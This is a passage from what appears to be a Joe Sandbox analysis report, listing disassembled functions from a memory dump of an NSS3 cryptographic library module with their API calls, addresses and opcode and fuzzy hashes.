Part of subcall function 6C601340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60136A
Part of subcall function 6C601340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60137E
Part of subcall function 6C601340: PL_ArenaGrow.NSS3(?,6C59F599,?,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?), ref: 6C6013CF
Part of subcall function 6C601340: PR_Unlock.NSS3(?,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C60145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C609C5B), ref: 6C609DCE

Part of subcall function 6C601340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C6013F0
Part of subcall function 6C601340: PL_ArenaGrow.NSS3(?,6C59F599,?,?,?,00000000,00000000,?,6C5A895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C601445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C609C5B), ref: 6C609DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C609C5B), ref: 6C609DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C609C5B), ref: 6C609E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C609C5B), ref: 6C609E91

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

Part of subcall function 6C601560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C5FFAAB,00000000), ref: 6C60157E
Part of subcall function 6C601560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5FFAAB,00000000), ref: 6C601592
Part of subcall function 6C601560: memset.VCRUNTIME140(?,00000000,?), ref: 6C601600
Part of subcall function 6C601560: PL_ArenaRelease.NSS3(?,?), ref: 6C601620
Part of subcall function 6C601560: PR_Unlock.NSS3(?), ref: 6C601639

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 5f1a401cbf0ab28d4c3503af6c804e809c6036c47c49745167884a77f1cad6c2
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 004181B4601606AFE748DF15DA40B92BBA2FF4534CF148128D9195BFA0EB72E835CF94

Function 6C5CDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5CDDEC

Part of subcall function 6C600840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6008B4

PK11_DigestBegin.NSS3(00000000), ref: 6C5CDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C5CDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C5CDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C5CDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5CDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CDECC

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 890e7da7a5e563baa93b4b419f647c5fd09eb1daf234eea525f9dbfe886dee21
Instruction ID: 5c9d0071d5cb28c4bd7ab81137fd98a62a33207e3a060d7981e5471c2393bce1
Opcode Fuzzy Hash: 890e7da7a5e563baa93b4b419f647c5fd09eb1daf234eea525f9dbfe886dee21
Instruction Fuzzy Hash: D831B9B6A40114ABDB00AEA5AC41BBB76A89F95708F050129ED05E7701F731DD18C6E3

Function 6C5A7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A7E48

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C5A7E5B

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A7E7B

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6C925C,?), ref: 6C5A7E92

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5A7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5A7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5A7EFA

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 4965e3e02052c4677d19b6eaad043b3b7ec1cce5f01a031b706728c3d9db2ca3
Instruction ID: 4915acb47649db4d384abe13bea767bf82acb13efc1562230dba1c5b57f624e5
Opcode Fuzzy Hash: 4965e3e02052c4677d19b6eaad043b3b7ec1cce5f01a031b706728c3d9db2ca3
Instruction Fuzzy Hash: 4C31B1B2E012119BEB10CBBA9D40B5B77E8AF45298F194924ED55EBB05F730EC05CBE4

Function 6C5FDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C5FD9E4,00000000), ref: 6C5FDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C5FD9E4,00000000), ref: 6C5FDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C5FD9E4,00000000), ref: 6C5FDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5FDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FDCAD

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 1a1ec4a7abaeff6a817f9f2a12f17eed6df1be379baadbbe4820e3eef1f2065c
Instruction ID: 9ca04b9cbdf91e5ef3156c7d9ac892be7bb4a2b984d9e147198e214fa64ef2bb
Opcode Fuzzy Hash: 1a1ec4a7abaeff6a817f9f2a12f17eed6df1be379baadbbe4820e3eef1f2065c
Instruction Fuzzy Hash: BF318DB5A002009FD714CF19DC90B52B7F8AF25358F148428E968CBB00E7B2E945CFA1

Function 6C5C2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C5BE728,?,00000038,?,?,00000000), ref: 6C5C2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5C2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5C2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C5C2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C5C2E9E
PR_Unlock.NSS3(?), ref: 6C5C2EAB
PR_Unlock.NSS3(?), ref: 6C5C2F0D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: b1b41146fb0fb4f99093565be6ae63a61c794ec6019fe21e68a0e4fb97687475
Instruction ID: 67885d11cf19fa601e005c8fec53fc26557f9f0cae74a52024008bc55b3624eb
Opcode Fuzzy Hash: b1b41146fb0fb4f99093565be6ae63a61c794ec6019fe21e68a0e4fb97687475
Instruction Fuzzy Hash: 313108B9B00105ABEB00AF69DC85876BB79FF45258F048578EC1897B11EB31EC64C7D2

Function 6C5E1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&^l,6C5C6295,?,00000000,?,00000001,S&^l,?), ref: 6C5E1ECB

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&^l,6C5C6295,?,00000000,?,00000001,S&^l,?), ref: 6C5E1EF1
EnterCriticalSection.KERNEL32(?), ref: 6C5E1F01
PR_SetError.NSS3(00000000,00000000), ref: 6C5E1F39

Part of subcall function 6C5EFE20: TlsGetValue.KERNEL32(6C5C5ADC,?,00000000,00000001,?,?,00000000,?,6C5BBA55,?,?), ref: 6C5EFE4B
Part of subcall function 6C5EFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5EFE5F

PR_Unlock.NSS3(?), ref: 6C5E1F67

Strings

S&^l, xrefs: 6C5E1EA0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&^l
API String ID: 704537481-2751469739
Opcode ID: 01be0cb9f9f24515b1830f0248d3edeea61163fd1017e7560cf2131b4a1c936d
Instruction ID: b1d3a08bb862c95cab4a8f2636f4cb4666ed023de8cc68bb8d346faebf226dc3
Opcode Fuzzy Hash: 01be0cb9f9f24515b1830f0248d3edeea61163fd1017e7560cf2131b4a1c936d
Instruction Fuzzy Hash: E021F675A04204ABEB00EF29EC85E9B3769EF89368F144564FD2887B12EB31DD54C7E1

Function 6C60CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C60CD93,?), ref: 6C60CEEE

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C60CD93,?), ref: 6C60CEFC

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C60CD93,?), ref: 6C60CF0B

Part of subcall function 6C600840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6008B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C60CD93,?), ref: 6C60CF1D

Part of subcall function 6C5FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5F8D2D,?,00000000,?), ref: 6C5FFB85
Part of subcall function 6C5FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5FFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C60CD93,?,?,?,?,?,?,?,?,?,?,?,6C60CD93,?), ref: 6C60CF78

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 2a9be3c7daa3a2be0a54131965ccc662af9690ed4845223deb4bd6f0a2338aea
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 9311D8B1B00204A7E7085B666E41B6B76EC9F4524DF004039FC0AE7741FB60D90886BB

Function 6C5B8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5B8C1B
EnterCriticalSection.KERNEL32 ref: 6C5B8C34
PL_ArenaAllocate.NSS3 ref: 6C5B8C65
PR_Unlock.NSS3 ref: 6C5B8C9C
PR_Unlock.NSS3 ref: 6C5B8CB6

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

Strings

KRAM, xrefs: 6C5B8C8F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0413d226379aaa1d8f52684c83c2379eead684cc3538975c26ecde4efea28bf7
Instruction ID: 40d25e05fec05686a80bd8dd6acc0b88f6de498fd37c88a1803e0da6139eb8a3
Opcode Fuzzy Hash: 0413d226379aaa1d8f52684c83c2379eead684cc3538975c26ecde4efea28bf7
Instruction Fuzzy Hash: AD218DB5A05A028FD700AF79C894559BBF4FF55304F05896ED8889B711EB31E889CBC6

Function 6C5C8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C5E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5B4F1C), ref: 6C5C8EA2

Part of subcall function 6C5EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5EF854
Part of subcall function 6C5EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5EF868
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5EF882
Part of subcall function 6C5EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5EF889
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5EF8A4
Part of subcall function 6C5EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5EF8AB
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5EF8C9
Part of subcall function 6C5EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5EF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C5E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5B4F1C), ref: 6C5C8EC3
TlsGetValue.KERNEL32(?,?,?,6C5E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5B4F1C), ref: 6C5C8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C5E2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5C8EF1
PR_Unlock.NSS3 ref: 6C5C8F20

Strings

b.^l, xrefs: 6C5C8E96, 6C5C8F25

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.^l
API String ID: 1978757487-3800356567
Opcode ID: 9a95a10021858beb7a29ebcc3a7da6b28868ad895be4786587487588d45ff02b
Instruction ID: f6b3e0eadb246d376cf59379fa76b991b99eba9b381cd741ee7af07c6b781993
Opcode Fuzzy Hash: 9a95a10021858beb7a29ebcc3a7da6b28868ad895be4786587487588d45ff02b
Instruction Fuzzy Hash: FA217C70A09605AFD700AF69D8841A9BBF4FF88318F05456EE8989BB41DB30E854CBD7

Function 6C633E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C635B40: PR_GetIdentitiesLayer.NSS3 ref: 6C635B56

PR_EnterMonitor.NSS3(?), ref: 6C633E45

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

PR_EnterMonitor.NSS3(?), ref: 6C633E5C
PR_EnterMonitor.NSS3(?), ref: 6C633E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C633EA6

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_ExitMonitor.NSS3(?), ref: 6C633EC0
PR_ExitMonitor.NSS3(?), ref: 6C633ED7
PR_ExitMonitor.NSS3(?), ref: 6C633EEE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 32475491639bfc939031d547b3f4e349e62c3b13f264545247cc09c204558d3d
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 6D119671514610ABD7315E29FC02AC777A1DB4130CF007835E95E86A60E636E52BC74F

Function 6C6B2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6B2CA0
PR_ExitMonitor.NSS3 ref: 6C6B2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C6B2CD1
strdup.MOZGLUE(?), ref: 6C6B2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C6B2D27

Strings

Loaded library %s (static lib), xrefs: 6C6B2D22

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 67da37fe3d7e7a4e302984ef1c3e2724d35df5484fa516cd1ce002481f5b2d99
Instruction ID: 0b0d76a80aa8138dc7359e2ba977523689faf8321dd05d0188425fc5a1789f84
Opcode Fuzzy Hash: 67da37fe3d7e7a4e302984ef1c3e2724d35df5484fa516cd1ce002481f5b2d99
Instruction Fuzzy Hash: 941190B17012409BEB108F15DC58A6677F5AB4A31DF14853DD80997B41DB31E828CBA9

Function 6C5ABDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5ABDCA

